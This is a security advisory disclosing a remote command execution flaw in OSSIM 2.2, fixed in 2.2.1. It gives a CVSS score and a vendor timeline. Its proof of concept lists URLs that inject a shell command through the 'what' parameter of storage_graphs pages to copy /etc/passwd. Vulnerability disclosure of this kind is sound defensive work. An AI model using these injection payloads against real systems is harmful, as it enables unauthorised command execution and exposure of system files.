



Advisory Name: Remote Command Execution in OSSIM

Vulnerability Class: Remote Command Execution

Release Date: 03-16-2010

Affected Applications: Confirmed in OSSIM 2.2. Other versions may also be affected.

Affected Platforms: Multiple

Local / Remote: Remote

Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)

Researcher: Nahuel Grisolia

Vendor Status: Fixed in OSSIM 2.2.1

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

OSSIM is prone to a remote command execution vulnerability because the software fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected software and possibly the computer running OSSIM.

Proof of Concept:

```
http://192.168.X.X/ossim/sem/storage_graphs.php?uniqueid=199&what=;cat /etc/passwd >
/tmp/passwd;
http://192.168.X.X/ossim/sem/storage_graphs2.php?uniqueid=199&what=;cat /etc/passwd >
/tmp/passwd;
http://192.168.X.X/ossim/sem/storage_graphs3.php?uniqueid=199&what=;cat /etc/passwd >
/tmp/passwd;
http://192.168.X.X/ossim/sem/storage_graphs4.php?uniqueid=199&what=;cat /etc/passwd >
/tmp/passwd;
```

Impact:

Direct execution of arbitrary code in the context of Web server user.

Solution: Fixed in OSSIM 2.2.1. See <http://www.alienvault.com/community.php?section=News>



Vendor Response:

02-03-2010 – Initial contact

03-11-2010 – OSSIM 2.2.1 is available

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at **ngrisolia <at> cybsec <dot> com**

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